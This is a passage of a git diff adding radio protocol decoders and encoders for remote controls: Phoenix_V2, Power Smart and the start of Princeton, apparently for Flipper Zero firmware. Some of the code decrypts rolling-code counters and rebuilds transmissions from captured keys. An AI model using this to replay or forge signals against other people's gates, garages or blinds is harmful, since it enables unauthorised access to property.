+    // Full key example: 0xC63E01B9615720 - after subghz_protocol_blocks_reverse_key was applied
+    // Serial - B9615720
+    // Button - 01
+    // Encrypted -> Decrypted counters
+    // C63E - 025C
+    // BCC1 - 025D
+    // 3341 - 025E
+    // 49BE - 025F
+    // 99D3 - 0260
+    // E32C - 0261
+
+    uint64_t data_rev =
+        subghz_protocol_blocks_reverse_key(instance->data, instance->data_count_bit + 4);
+
+    instance->serial = data_rev & 0xFFFFFFFF;
+    instance->cnt = subghz_protocol_phoenix_v2_decrypt_counter(data_rev);
+    instance->btn = (data_rev >> 32) & 0xF;
+    // encrypted cnt is (data_rev >> 40) & 0xFFFF
+
+    // Save original button for later use
+    if(subghz_custom_btn_get_original() == 0) {
+        subghz_custom_btn_set_original(instance->btn);
+    }
+    subghz_custom_btn_set_max(4);
+}
+
+uint8_t subghz_protocol_decoder_phoenix_v2_get_hash_data(void* context) {
+    furi_assert(context);
+    SubGhzProtocolDecoderPhoenix_V2* instance = context;
+    return subghz_protocol_blocks_get_hash_data(
+        &instance->decoder, (instance->decoder.decode_count_bit / 8) + 1);
+}
+
+SubGhzProtocolStatus subghz_protocol_decoder_phoenix_v2_serialize(
+    void* context,
+    FlipperFormat* flipper_format,
+    SubGhzRadioPreset* preset) {
+    furi_assert(context);
+    SubGhzProtocolDecoderPhoenix_V2* instance = context;
+    return subghz_block_generic_serialize(&instance->generic, flipper_format, preset);
+}
+
+SubGhzProtocolStatus
+    subghz_protocol_decoder_phoenix_v2_deserialize(void* context, FlipperFormat* flipper_format) {
+    furi_assert(context);
+    SubGhzProtocolDecoderPhoenix_V2* instance = context;
+    SubGhzProtocolStatus ret = SubGhzProtocolStatusError;
+
+    ret = subghz_block_generic_deserialize_check_count_bit(
+        &instance->generic,
+        flipper_format,
+        subghz_protocol_phoenix_v2_const.min_count_bit_for_found);
+
+    if(!flipper_format_rewind(flipper_format)) {
+        FURI_LOG_E(TAG, "Rewind error");
+        return SubGhzProtocolStatusError;
+    }
+
+    uint32_t tmp_counter_mode;
+    if(flipper_format_read_uint32(flipper_format, "CounterMode", &tmp_counter_mode, 1)) {
+        v2_phoenix_counter_mode = (uint8_t)tmp_counter_mode;
+    } else {
+        v2_phoenix_counter_mode = 0;
+    }
+    return ret;
+}
+
+void subghz_protocol_decoder_phoenix_v2_get_string(void* context, FuriString* output) {
+    furi_assert(context);
+    SubGhzProtocolDecoderPhoenix_V2* instance = context;
+    subghz_protocol_phoenix_v2_check_remote_controller(&instance->generic);
+
+    // push protocol data to global variable
+    subghz_block_generic_global.cnt_is_available = true;
+    subghz_block_generic_global.cnt_length_bit = 16;
+    subghz_block_generic_global.current_cnt = instance->generic.cnt;
+
+    subghz_block_generic_global.btn_is_available = true;
+    subghz_block_generic_global.current_btn = instance->generic.btn;
+    subghz_block_generic_global.btn_length_bit = 4;
+    //
+
+    furi_string_cat_printf(
+        output,
+        "V2 Phoenix %dbit\r\n"
+        "Key:%05lX%08lX\r\n"
+        "Sn:0x%07lX \r\n"
+        "Cnt:%04lX\r\n"
+        "Btn:%X\r\n",
+        instance->generic.data_count_bit,
+        (uint32_t)(instance->generic.data >> 32) & 0xFFFFFFFF,
+        (uint32_t)(instance->generic.data & 0xFFFFFFFF),
+        instance->generic.serial,
+        instance->generic.cnt,
+        instance->generic.btn);
+}
diff --git a/lib/subghz_unleashed_vendor/src/subghz/protocols/phoenix_v2.h b/lib/subghz_unleashed_vendor/src/subghz/protocols/phoenix_v2.h
new file mode 100644
index 000000000..0724de1f0
--- /dev/null
+++ b/lib/subghz_unleashed_vendor/src/subghz/protocols/phoenix_v2.h
@@ -0,0 +1,109 @@
+#pragma once
+
+#include "base.h"
+
+#define SUBGHZ_PROTOCOL_PHOENIX_V2_NAME "Phoenix_V2"
+
+typedef struct SubGhzProtocolDecoderPhoenix_V2 SubGhzProtocolDecoderPhoenix_V2;
+typedef struct SubGhzProtocolEncoderPhoenix_V2 SubGhzProtocolEncoderPhoenix_V2;
+
+extern const SubGhzProtocolDecoder subghz_protocol_phoenix_v2_decoder;
+extern const SubGhzProtocolEncoder subghz_protocol_phoenix_v2_encoder;
+extern const SubGhzProtocol subghz_protocol_phoenix_v2;
+
+/**
+ * Allocate SubGhzProtocolEncoderPhoenix_V2.
+ * @param environment Pointer to a SubGhzEnvironment instance
+ * @return SubGhzProtocolEncoderPhoenix_V2* pointer to a SubGhzProtocolEncoderPhoenix_V2 instance
+ */
+void* subghz_protocol_encoder_phoenix_v2_alloc(SubGhzEnvironment* environment);
+
+/**
+ * Free SubGhzProtocolEncoderPhoenix_V2.
+ * @param context Pointer to a SubGhzProtocolEncoderPhoenix_V2 instance
+ */
+void subghz_protocol_encoder_phoenix_v2_free(void* context);
+
+/**
+ * Deserialize and generating an upload to send.
+ * @param context Pointer to a SubGhzProtocolEncoderPhoenix_V2 instance
+ * @param flipper_format Pointer to a FlipperFormat instance
+ * @return status
+ */
+SubGhzProtocolStatus
+    subghz_protocol_encoder_phoenix_v2_deserialize(void* context, FlipperFormat* flipper_format);
+
+/**
+ * Forced transmission stop.
+ * @param context Pointer to a SubGhzProtocolEncoderPhoenix_V2 instance
+ */
+void subghz_protocol_encoder_phoenix_v2_stop(void* context);
+
+/**
+ * Getting the level and duration of the upload to be loaded into DMA.
+ * @param context Pointer to a SubGhzProtocolEncoderPhoenix_V2 instance
+ * @return LevelDuration 
+ */
+LevelDuration subghz_protocol_encoder_phoenix_v2_yield(void* context);
+
+/**
+ * Allocate SubGhzProtocolDecoderPhoenix_V2.
+ * @param environment Pointer to a SubGhzEnvironment instance
+ * @return SubGhzProtocolDecoderPhoenix_V2* pointer to a SubGhzProtocolDecoderPhoenix_V2 instance
+ */
+void* subghz_protocol_decoder_phoenix_v2_alloc(SubGhzEnvironment* environment);
+
+/**
+ * Free SubGhzProtocolDecoderPhoenix_V2.
+ * @param context Pointer to a SubGhzProtocolDecoderPhoenix_V2 instance
+ */
+void subghz_protocol_decoder_phoenix_v2_free(void* context);
+
+/**
+ * Reset decoder SubGhzProtocolDecoderPhoenix_V2.
+ * @param context Pointer to a SubGhzProtocolDecoderPhoenix_V2 instance
+ */
+void subghz_protocol_decoder_phoenix_v2_reset(void* context);
+
+/**
+ * Parse a raw sequence of levels and durations received from the air.
+ * @param context Pointer to a SubGhzProtocolDecoderPhoenix_V2 instance
+ * @param level Signal level true-high false-low
+ * @param duration Duration of this level in, us
+ */
+void subghz_protocol_decoder_phoenix_v2_feed(void* context, bool level, uint32_t duration);
+
+/**
+ * Getting the hash sum of the last randomly received parcel.
+ * @param context Pointer to a SubGhzProtocolDecoderPhoenix_V2 instance
+ * @return hash Hash sum
+ */
+uint8_t subghz_protocol_decoder_phoenix_v2_get_hash_data(void* context);
+
+/**
+ * Serialize data SubGhzProtocolDecoderPhoenix_V2.
+ * @param context Pointer to a SubGhzProtocolDecoderPhoenix_V2 instance
+ * @param flipper_format Pointer to a FlipperFormat instance
+ * @param preset The modulation on which the signal was received, SubGhzRadioPreset
+ * @return status
+ */
+SubGhzProtocolStatus subghz_protocol_decoder_phoenix_v2_serialize(
+    void* context,
+    FlipperFormat* flipper_format,
+    SubGhzRadioPreset* preset);
+
+/**
+ * Deserialize data SubGhzProtocolDecoderPhoenix_V2.
+ * @param context Pointer to a SubGhzProtocolDecoderPhoenix_V2 instance
+ * @param flipper_format Pointer to a FlipperFormat instance
+ * @return status
+ */
+SubGhzProtocolStatus
+    subghz_protocol_decoder_phoenix_v2_deserialize(void* context, FlipperFormat* flipper_format);
+
+/**
+ * Getting a textual representation of the received data.
+ * @param context Pointer to a SubGhzProtocolDecoderPhoenix_V2 instance
+ * @param output Resulting text
+ */
+void subghz_protocol_decoder_phoenix_v2_get_string(void* context, FuriString* output);
diff --git a/lib/subghz_unleashed_vendor/src/subghz/protocols/power_smart.c b/lib/subghz_unleashed_vendor/src/subghz/protocols/power_smart.c
new file mode 100644
index 000000000..8acf714de
--- /dev/null
+++ b/lib/subghz_unleashed_vendor/src/subghz/protocols/power_smart.c
@@ -0,0 +1,392 @@
+#include "power_smart.h"
+#include <lib/toolbox/manchester_decoder.h>
+#include <lib/toolbox/manchester_encoder.h>
+#include "../blocks/const.h"
+#include "../blocks/decoder.h"
+#include "../blocks/encoder.h"
+#include "../blocks/generic.h"
+#include "../blocks/math.h"
+
+#define TAG "SubGhzProtocolPowerSmart"
+
+#define POWER_SMART_PACKET_HEADER      0xFD000000AA000000
+#define POWER_SMART_PACKET_HEADER_MASK 0xFF000000FF000000
+
+#define CHANNEL_PATTERN "%c%c%c%c%c%c"
+#define CNT_TO_CHANNEL(dip)                                                             \
+    (dip & 0x0001 ? '*' : '-'), (dip & 0x0002 ? '*' : '-'), (dip & 0x0004 ? '*' : '-'), \
+        (dip & 0x0008 ? '*' : '-'), (dip & 0x0010 ? '*' : '-'), (dip & 0x0020 ? '*' : '-')
+
+static const SubGhzBlockConst subghz_protocol_power_smart_const = {
+    .te_short = 225,
+    .te_long = 450,
+    .te_delta = 100,
+    .min_count_bit_for_found = 64,
+};
+
+struct SubGhzProtocolDecoderPowerSmart {
+    SubGhzProtocolDecoderBase base;
+
+    SubGhzBlockDecoder decoder;
+    SubGhzBlockGeneric generic;
+    ManchesterState manchester_saved_state;
+    uint16_t header_count;
+};
+
+struct SubGhzProtocolEncoderPowerSmart {
+    SubGhzProtocolEncoderBase base;
+
+    SubGhzProtocolBlockEncoder encoder;
+    SubGhzBlockGeneric generic;
+};
+
+typedef enum {
+    PowerSmartDecoderStepReset = 0,
+    PowerSmartDecoderFoundHeader,
+    PowerSmartDecoderStepDecoderData,
+} PowerSmartDecoderStep;
+
+const SubGhzProtocolDecoder subghz_protocol_power_smart_decoder = {
+    .alloc = subghz_protocol_decoder_power_smart_alloc,
+    .free = subghz_protocol_decoder_power_smart_free,
+
+    .feed = subghz_protocol_decoder_power_smart_feed,
+    .reset = subghz_protocol_decoder_power_smart_reset,
+
+    .get_hash_data = subghz_protocol_decoder_power_smart_get_hash_data,
+    .serialize = subghz_protocol_decoder_power_smart_serialize,
+    .deserialize = subghz_protocol_decoder_power_smart_deserialize,
+    .get_string = subghz_protocol_decoder_power_smart_get_string,
+};
+
+const SubGhzProtocolEncoder subghz_protocol_power_smart_encoder = {
+    .alloc = subghz_protocol_encoder_power_smart_alloc,
+    .free = subghz_protocol_encoder_power_smart_free,
+
+    .deserialize = subghz_protocol_encoder_power_smart_deserialize,
+    .stop = subghz_protocol_encoder_power_smart_stop,
+    .yield = subghz_protocol_encoder_power_smart_yield,
+};
+
+const SubGhzProtocol subghz_protocol_power_smart = {
+    .name = SUBGHZ_PROTOCOL_POWER_SMART_NAME,
+    .type = SubGhzProtocolTypeStatic,
+    .flag = SubGhzProtocolFlag_433 | SubGhzProtocolFlag_AM | SubGhzProtocolFlag_Decodable |
+            SubGhzProtocolFlag_Load | SubGhzProtocolFlag_Save | SubGhzProtocolFlag_Send,
+
+    .decoder = &subghz_protocol_power_smart_decoder,
+    .encoder = &subghz_protocol_power_smart_encoder,
+};
+
+void* subghz_protocol_encoder_power_smart_alloc(SubGhzEnvironment* environment) {
+    UNUSED(environment);
+    SubGhzProtocolEncoderPowerSmart* instance = malloc(sizeof(SubGhzProtocolEncoderPowerSmart));
+
+    instance->base.protocol = &subghz_protocol_power_smart;
+    instance->generic.protocol_name = instance->base.protocol->name;
+
+    instance->encoder.repeat = 3;
+    instance->encoder.size_upload = 1024;
+    instance->encoder.upload = malloc(instance->encoder.size_upload * sizeof(LevelDuration));
+    instance->encoder.is_running = false;
+    return instance;
+}
+
+void subghz_protocol_encoder_power_smart_free(void* context) {
+    furi_assert(context);
+    SubGhzProtocolEncoderPowerSmart* instance = context;
+    free(instance->encoder.upload);
+    free(instance);
+}
+
+static LevelDuration
+    subghz_protocol_encoder_power_smart_add_duration_to_upload(ManchesterEncoderResult result) {
+    LevelDuration data = {.duration = 0, .level = 0};
+    switch(result) {
+    case ManchesterEncoderResultShortLow:
+        data.duration = subghz_protocol_power_smart_const.te_short;
+        data.level = false;
+        break;
+    case ManchesterEncoderResultLongLow:
+        data.duration = subghz_protocol_power_smart_const.te_long;
+        data.level = false;
+        break;
+    case ManchesterEncoderResultLongHigh:
+        data.duration = subghz_protocol_power_smart_const.te_long;
+        data.level = true;
+        break;
+    case ManchesterEncoderResultShortHigh:
+        data.duration = subghz_protocol_power_smart_const.te_short;
+        data.level = true;
+        break;
+
+    default:
+        furi_crash("SubGhz: ManchesterEncoderResult is incorrect.");
+        break;
+    }
+    return level_duration_make(data.level, data.duration);
+}
+
+/**
+ * Generating an upload from data.
+ * @param instance Pointer to a SubGhzProtocolEncoderPowerSmart instance
+ */
+static void
+    subghz_protocol_encoder_power_smart_get_upload(SubGhzProtocolEncoderPowerSmart* instance) {
+    furi_assert(instance);
+    size_t index = 0;
+
+    ManchesterEncoderState enc_state;
+    manchester_encoder_reset(&enc_state);
+    ManchesterEncoderResult result;
+
+    for(int i = 8; i > 0; i--) {
+        for(uint8_t i = instance->generic.data_count_bit; i > 0; i--) {
+            if(!manchester_encoder_advance(
+                   &enc_state, !bit_read(instance->generic.data, i - 1), &result)) {
+                instance->encoder.upload[index++] =
+                    subghz_protocol_encoder_power_smart_add_duration_to_upload(result);
+                manchester_encoder_advance(
+                    &enc_state, !bit_read(instance->generic.data, i - 1), &result);
+            }
+            instance->encoder.upload[index++] =
+                subghz_protocol_encoder_power_smart_add_duration_to_upload(result);
+        }
+    }
+    instance->encoder.upload[index] = subghz_protocol_encoder_power_smart_add_duration_to_upload(
+        manchester_encoder_finish(&enc_state));
+    if(level_duration_get_level(instance->encoder.upload[index])) {
+        index++;
+    }
+    instance->encoder.upload[index++] =
+        level_duration_make(false, (uint32_t)subghz_protocol_power_smart_const.te_long * 1111);
+    instance->encoder.size_upload = index;
+}
+
+/** 
+ * Analysis of received data
+ * @param instance Pointer to a SubGhzBlockGeneric* instance
+ */
+static void subghz_protocol_power_smart_remote_controller(SubGhzBlockGeneric* instance) {
+    /*
+    * Protocol: Manchester encoding, symbol rate ~2222.
+    * Packet Format: 
+    *       0xFDXXXXYYAAZZZZWW where 0xFD and 0xAA sync word
+    *                           XXXX = ~ZZZZ, YY=(~WW)-1 
+    * Example:
+    *                               SYNC1 K1 CHANNEL DATA1   K2 DATA2    SYNC2  ~K1 ~CHANNEL ~DATA2  ~K2 (~DATA2)-1
+    *       0xFD2137ACAADEC852 => 11111101 0 010000 10011011 1 10101100 10101010  1  1011110 1100100  0  01010010
+    *       0xFDA137ACAA5EC852 => 11111101 1 010000 10011011 1 10101100 10101010  0  1011110 1100100  0  01010010
+    *       0xFDA136ACAA5EC952 => 11111101 1 010000 10011011 0 10101100 10101010  0  1011110 1100100  1  01010010
+    * 
+    * Key:
+    *       K1K2
+    *        0 0 - key_unknown
+    *        0 1 - key_down
+    *        1 0 - key_up
+    *        1 1 - key_stop
+    *        
+    */
+
+    instance->btn = ((instance->data >> 54) & 0x02) | ((instance->data >> 40) & 0x1);
+    instance->serial = ((instance->data >> 33) & 0x3FFF00) | ((instance->data >> 32) & 0xFF);
+    instance->cnt = ((instance->data >> 49) & 0x3F);
+}
+
+SubGhzProtocolStatus
+    subghz_protocol_encoder_power_smart_deserialize(void* context, FlipperFormat* flipper_format) {
+    furi_assert(context);
+    SubGhzProtocolEncoderPowerSmart* instance = context;
+    SubGhzProtocolStatus ret = SubGhzProtocolStatusError;
+    do {
+        ret = subghz_block_generic_deserialize_check_count_bit(
+            &instance->generic,
+            flipper_format,
+            subghz_protocol_power_smart_const.min_count_bit_for_found);
+        if(ret != SubGhzProtocolStatusOk) {
+            break;
+        }
+        // Optional value
+        flipper_format_read_uint32(
+            flipper_format, "Repeat", (uint32_t*)&instance->encoder.repeat, 1);
+
+        subghz_protocol_power_smart_remote_controller(&instance->generic);
+        subghz_protocol_encoder_power_smart_get_upload(instance);
+        instance->encoder.front = 0; // reset before start
+        instance->encoder.is_running = true;
+    } while(false);
+
+    return ret;
+}
+
+void subghz_protocol_encoder_power_smart_stop(void* context) {
+    SubGhzProtocolEncoderPowerSmart* instance = context;
+    instance->encoder.is_running = false;
+    instance->encoder.front = 0; // reset position
+}
+
+LevelDuration subghz_protocol_encoder_power_smart_yield(void* context) {
+    SubGhzProtocolEncoderPowerSmart* instance = context;
+
+    if(instance->encoder.repeat == 0 || !instance->encoder.is_running) {
+        instance->encoder.is_running = false;
+        return level_duration_reset();
+    }
+
+    LevelDuration ret = instance->encoder.upload[instance->encoder.front];
+
+    if(++instance->encoder.front == instance->encoder.size_upload) {
+        if(!subghz_block_generic_global.endless_tx) instance->encoder.repeat--;
+        instance->encoder.front = 0;
+    }
+
+    return ret;
+}
+
+void* subghz_protocol_decoder_power_smart_alloc(SubGhzEnvironment* environment) {
+    UNUSED(environment);
+    SubGhzProtocolDecoderPowerSmart* instance = malloc(sizeof(SubGhzProtocolDecoderPowerSmart));
+    instance->base.protocol = &subghz_protocol_power_smart;
+    instance->generic.protocol_name = instance->base.protocol->name;
+    return instance;
+}
+
+void subghz_protocol_decoder_power_smart_free(void* context) {
+    furi_assert(context);
+    SubGhzProtocolDecoderPowerSmart* instance = context;
+    free(instance);
+}
+
+void subghz_protocol_decoder_power_smart_reset(void* context) {
+    furi_assert(context);
+    SubGhzProtocolDecoderPowerSmart* instance = context;
+    manchester_advance(
+        instance->manchester_saved_state,
+        ManchesterEventReset,
+        &instance->manchester_saved_state,
+        NULL);
+}
+
+bool subghz_protocol_power_smart_check_valid(uint64_t packet) {
+    uint32_t data_1 = (uint32_t)((packet >> 40) & 0xFFFF);
+    uint32_t data_2 = (uint32_t)((~packet >> 8) & 0xFFFF);
+    uint8_t data_3 = (uint8_t)(packet >> 32) & 0xFF;
+    uint8_t data_4 = (uint8_t)(((~packet) & 0xFF) - 1);
+    return (data_1 == data_2) && (data_3 == data_4);
+}
+
+void subghz_protocol_decoder_power_smart_feed(
+    void* context,
+    bool level,
+    volatile uint32_t duration) {
+    furi_assert(context);
+    SubGhzProtocolDecoderPowerSmart* instance = context;
+    ManchesterEvent event = ManchesterEventReset;
+    if(!level) {
+        if(DURATION_DIFF(duration, subghz_protocol_power_smart_const.te_short) <
+           subghz_protocol_power_smart_const.te_delta) {
+            event = ManchesterEventShortLow;
+        } else if(
+            DURATION_DIFF(duration, subghz_protocol_power_smart_const.te_long) <
+            subghz_protocol_power_smart_const.te_delta * 2) {
+            event = ManchesterEventLongLow;
+        }
+    } else {
+        if(DURATION_DIFF(duration, subghz_protocol_power_smart_const.te_short) <
+           subghz_protocol_power_smart_const.te_delta) {
+            event = ManchesterEventShortHigh;
+        } else if(
+            DURATION_DIFF(duration, subghz_protocol_power_smart_const.te_long) <
+            subghz_protocol_power_smart_const.te_delta * 2) {
+            event = ManchesterEventLongHigh;
+        }
+    }
+    if(event != ManchesterEventReset) {
+        bool data;
+        bool data_ok = manchester_advance(
+            instance->manchester_saved_state, event, &instance->manchester_saved_state, &data);
+
+        if(data_ok) {
+            instance->decoder.decode_data = (instance->decoder.decode_data << 1) | !data;
+        }
+        if((instance->decoder.decode_data & POWER_SMART_PACKET_HEADER_MASK) ==
+           POWER_SMART_PACKET_HEADER) {
+            if(subghz_protocol_power_smart_check_valid(instance->decoder.decode_data)) {
+                instance->generic.data = instance->decoder.decode_data;
+                instance->generic.data_count_bit =
+                    subghz_protocol_power_smart_const.min_count_bit_for_found;
+                if(instance->base.callback)
+                    instance->base.callback(&instance->base, instance->base.context);
+                instance->decoder.decode_data = 0;
+                instance->decoder.decode_count_bit = 0;
+            }
+        }
+    } else {
+        instance->decoder.decode_data = 0;
+        instance->decoder.decode_count_bit = 0;
+        manchester_advance(
+            instance->manchester_saved_state,
+            ManchesterEventReset,
+            &instance->manchester_saved_state,
+            NULL);
+    }
+}
+
+static const char* subghz_protocol_power_smart_get_name_button(uint8_t btn) {
+    btn &= 0x3;
+    const char* name_btn[0x4] = {"Unknown", "Down", "Up", "Stop"};
+    return name_btn[btn];
+}
+
+uint8_t subghz_protocol_decoder_power_smart_get_hash_data(void* context) {
+    furi_assert(context);
+    SubGhzProtocolDecoderPowerSmart* instance = context;
+    return subghz_protocol_blocks_get_hash_data(
+        &instance->decoder, (instance->decoder.decode_count_bit / 8) + 1);
+}
+
+SubGhzProtocolStatus subghz_protocol_decoder_power_smart_serialize(
+    void* context,
+    FlipperFormat* flipper_format,
+    SubGhzRadioPreset* preset) {
+    furi_assert(context);
+    SubGhzProtocolDecoderPowerSmart* instance = context;
+    return subghz_block_generic_serialize(&instance->generic, flipper_format, preset);
+}
+
+SubGhzProtocolStatus
+    subghz_protocol_decoder_power_smart_deserialize(void* context, FlipperFormat* flipper_format) {
+    furi_assert(context);
+    SubGhzProtocolDecoderPowerSmart* instance = context;
+    return subghz_block_generic_deserialize_check_count_bit(
+        &instance->generic,
+        flipper_format,
+        subghz_protocol_power_smart_const.min_count_bit_for_found);
+}
+
+void subghz_protocol_decoder_power_smart_get_string(void* context, FuriString* output) {
+    furi_assert(context);
+    SubGhzProtocolDecoderPowerSmart* instance = context;
+    subghz_protocol_power_smart_remote_controller(&instance->generic);
+
+    // push protocol data to global variable
+    subghz_block_generic_global.btn_is_available = false;
+    subghz_block_generic_global.current_btn = instance->generic.btn;
+    subghz_block_generic_global.btn_length_bit = 2;
+    //
+
+    furi_string_cat_printf(
+        output,
+        "%s %db\r\n"
+        "Key:0x%lX%08lX\r\n"
+        "Sn:0x%07lX \r\n"
+        "Btn:%s\r\n"
+        "Channel:" CHANNEL_PATTERN "\r\n",
+        instance->generic.protocol_name,
+        instance->generic.data_count_bit,
+        (uint32_t)(instance->generic.data >> 32),
+        (uint32_t)(instance->generic.data & 0xFFFFFFFF),
+        instance->generic.serial,
+        subghz_protocol_power_smart_get_name_button(instance->generic.btn),
+        CNT_TO_CHANNEL(instance->generic.cnt));
+}
diff --git a/lib/subghz_unleashed_vendor/src/subghz/protocols/power_smart.h b/lib/subghz_unleashed_vendor/src/subghz/protocols/power_smart.h
new file mode 100644
index 000000000..5687cf8b1
--- /dev/null
+++ b/lib/subghz_unleashed_vendor/src/subghz/protocols/power_smart.h
@@ -0,0 +1,109 @@
+#pragma once
+
+#include "base.h"
+
+#define SUBGHZ_PROTOCOL_POWER_SMART_NAME "Power Smart"
+
+typedef struct SubGhzProtocolDecoderPowerSmart SubGhzProtocolDecoderPowerSmart;
+typedef struct SubGhzProtocolEncoderPowerSmart SubGhzProtocolEncoderPowerSmart;
+
+extern const SubGhzProtocolDecoder subghz_protocol_power_smart_decoder;
+extern const SubGhzProtocolEncoder subghz_protocol_power_smart_encoder;
+extern const SubGhzProtocol subghz_protocol_power_smart;
+
+/**
+ * Allocate SubGhzProtocolEncoderPowerSmart.
+ * @param environment Pointer to a SubGhzEnvironment instance
+ * @return SubGhzProtocolEncoderPowerSmart* pointer to a SubGhzProtocolEncoderPowerSmart instance
+ */
+void* subghz_protocol_encoder_power_smart_alloc(SubGhzEnvironment* environment);
+
+/**
+ * Free SubGhzProtocolEncoderPowerSmart.
+ * @param context Pointer to a SubGhzProtocolEncoderPowerSmart instance
+ */
+void subghz_protocol_encoder_power_smart_free(void* context);
+
+/**
+ * Deserialize and generating an upload to send.
+ * @param context Pointer to a SubGhzProtocolEncoderPowerSmart instance
+ * @param flipper_format Pointer to a FlipperFormat instance
+ * @return status
+ */
+SubGhzProtocolStatus
+    subghz_protocol_encoder_power_smart_deserialize(void* context, FlipperFormat* flipper_format);
+
+/**
+ * Forced transmission stop.
+ * @param context Pointer to a SubGhzProtocolEncoderPowerSmart instance
+ */
+void subghz_protocol_encoder_power_smart_stop(void* context);
+
+/**
+ * Getting the level and duration of the upload to be loaded into DMA.
+ * @param context Pointer to a SubGhzProtocolEncoderPowerSmart instance
+ * @return LevelDuration 
+ */
+LevelDuration subghz_protocol_encoder_power_smart_yield(void* context);
+
+/**
+ * Allocate SubGhzProtocolDecoderPowerSmart.
+ * @param environment Pointer to a SubGhzEnvironment instance
+ * @return SubGhzProtocolDecoderPowerSmart* pointer to a SubGhzProtocolDecoderPowerSmart instance
+ */
+void* subghz_protocol_decoder_power_smart_alloc(SubGhzEnvironment* environment);
+
+/**
+ * Free SubGhzProtocolDecoderPowerSmart.
+ * @param context Pointer to a SubGhzProtocolDecoderPowerSmart instance
+ */
+void subghz_protocol_decoder_power_smart_free(void* context);
+
+/**
+ * Reset decoder SubGhzProtocolDecoderPowerSmart.
+ * @param context Pointer to a SubGhzProtocolDecoderPowerSmart instance
+ */
+void subghz_protocol_decoder_power_smart_reset(void* context);
+
+/**
+ * Parse a raw sequence of levels and durations received from the air.
+ * @param context Pointer to a SubGhzProtocolDecoderPowerSmart instance
+ * @param level Signal level true-high false-low
+ * @param duration Duration of this level in, us
+ */
+void subghz_protocol_decoder_power_smart_feed(void* context, bool level, uint32_t duration);
+
+/**
+ * Getting the hash sum of the last randomly received parcel.
+ * @param context Pointer to a SubGhzProtocolDecoderPowerSmart instance
+ * @return hash Hash sum
+ */
+uint8_t subghz_protocol_decoder_power_smart_get_hash_data(void* context);
+
+/**
+ * Serialize data SubGhzProtocolDecoderPowerSmart.
+ * @param context Pointer to a SubGhzProtocolDecoderPowerSmart instance
+ * @param flipper_format Pointer to a FlipperFormat instance
+ * @param preset The modulation on which the signal was received, SubGhzRadioPreset
+ * @return status
+ */
+SubGhzProtocolStatus subghz_protocol_decoder_power_smart_serialize(
+    void* context,
+    FlipperFormat* flipper_format,
+    SubGhzRadioPreset* preset);
+
+/**
+ * Deserialize data SubGhzProtocolDecoderPowerSmart.
+ * @param context Pointer to a SubGhzProtocolDecoderPowerSmart instance
+ * @param flipper_format Pointer to a FlipperFormat instance
+ * @return status
+ */
+SubGhzProtocolStatus
+    subghz_protocol_decoder_power_smart_deserialize(void* context, FlipperFormat* flipper_format);
+
+/**
+ * Getting a textual representation of the received data.
+ * @param context Pointer to a SubGhzProtocolDecoderPowerSmart instance
+ * @param output Resulting text
+ */
+void subghz_protocol_decoder_power_smart_get_string(void* context, FuriString* output);
diff --git a/lib/subghz_unleashed_vendor/src/subghz/protocols/princeton.c b/lib/subghz_unleashed_vendor/src/subghz/protocols/princeton.c
new file mode 100644
index 000000000..f77e0e722
--- /dev/null
+++ b/lib/subghz_unleashed_vendor/src/subghz/protocols/princeton.c
@@ -0,0 +1,640 @@
+#include "princeton.h"
+
+#include "../blocks/const.h"
+#include "../blocks/decoder.h"
+#include "../blocks/encoder.h"
+#include "../blocks/generic.h"
+#include "../blocks/math.h"
+
+#include "../blocks/custom_btn_i.h"
+
+/*
+ * Help
+ * https://phreakerclub.com/447
+ *
+ */
+
+#define TAG "SubGhzProtocolPrinceton"
+
+#define PRINCETON_GUARD_TIME_DEFALUT 30 //GUARD_TIME = PRINCETON_GUARD_TIME_DEFALUT * TE
+// Guard Time value should be between 15 -> 72 otherwise default value will be used
+
+static const SubGhzBlockConst subghz_protocol_princeton_const = {
+    .te_short = 390,
+    .te_long = 1170,
+    .te_delta = 300,
+    .min_count_bit_for_found = 24,
+};
+
+struct SubGhzProtocolDecoderPrinceton {
+    SubGhzProtocolDecoderBase base;
+
+    SubGhzBlockDecoder decoder;
+    SubGhzBlockGeneric generic;
+
+    uint32_t te;
+    uint32_t last_data;
+    uint32_t guard_time;
+};
+
+struct SubGhzProtocolEncoderPrinceton {
+    SubGhzProtocolEncoderBase base;
+
+    SubGhzProtocolBlockEncoder encoder;
+    SubGhzBlockGeneric generic;
+
+    uint32_t te;
+    uint32_t guard_time;
+};
+
+typedef enum {
+    PrincetonDecoderStepReset = 0,
+    PrincetonDecoderStepSaveDuration,
+    PrincetonDecoderStepCheckDuration,
+} PrincetonDecoderStep;
+
+const SubGhzProtocolDecoder subghz_protocol_princeton_decoder = {
+    .alloc = subghz_protocol_decoder_princeton_alloc,
+    .free = subghz_protocol_decoder_princeton_free,
+
+    .feed = subghz_protocol_decoder_princeton_feed,
+    .reset = subghz_protocol_decoder_princeton_reset,
+
+    .get_hash_data = subghz_protocol_decoder_princeton_get_hash_data,
+    .serialize = subghz_protocol_decoder_princeton_serialize,
+    .deserialize = subghz_protocol_decoder_princeton_deserialize,
+    .get_string = subghz_protocol_decoder_princeton_get_string,
+};
+
+const SubGhzProtocolEncoder subghz_protocol_princeton_encoder = {
+    .alloc = subghz_protocol_encoder_princeton_alloc,
+    .free = subghz_protocol_encoder_princeton_free,
+
+    .deserialize = subghz_protocol_encoder_princeton_deserialize,
+    .stop = subghz_protocol_encoder_princeton_stop,
+    .yield = subghz_protocol_encoder_princeton_yield,
+};
+
+const SubGhzProtocol subghz_protocol_princeton = {
+    .name = SUBGHZ_PROTOCOL_PRINCETON_NAME,
+    .type = SubGhzProtocolTypeStatic,
+    .flag = SubGhzProtocolFlag_433 | SubGhzProtocolFlag_868 | SubGhzProtocolFlag_315 |
+            SubGhzProtocolFlag_AM | SubGhzProtocolFlag_Decodable | SubGhzProtocolFlag_Load |
+            SubGhzProtocolFlag_Save | SubGhzProtocolFlag_Send | SubGhzProtocolFlag_Princeton,
+
+    .decoder = &subghz_protocol_princeton_decoder,
+    .encoder = &subghz_protocol_princeton_encoder,
+};
+
+void* subghz_protocol_encoder_princeton_alloc(SubGhzEnvironment* environment) {
+    UNUSED(environment);
+    SubGhzProtocolEncoderPrinceton* instance = malloc(sizeof(SubGhzProtocolEncoderPrinceton));
+
+    instance->base.protocol = &subghz_protocol_princeton;
+    instance->generic.protocol_name = instance->base.protocol->name;
+
+    instance->encoder.repeat = 3;
+    instance->encoder.size_upload = 52; //max 24bit*2 + 2 (start, stop)
+    instance->encoder.upload = malloc(instance->encoder.size_upload * sizeof(LevelDuration));
+    instance->encoder.is_running = false;
+    return instance;
+}
+
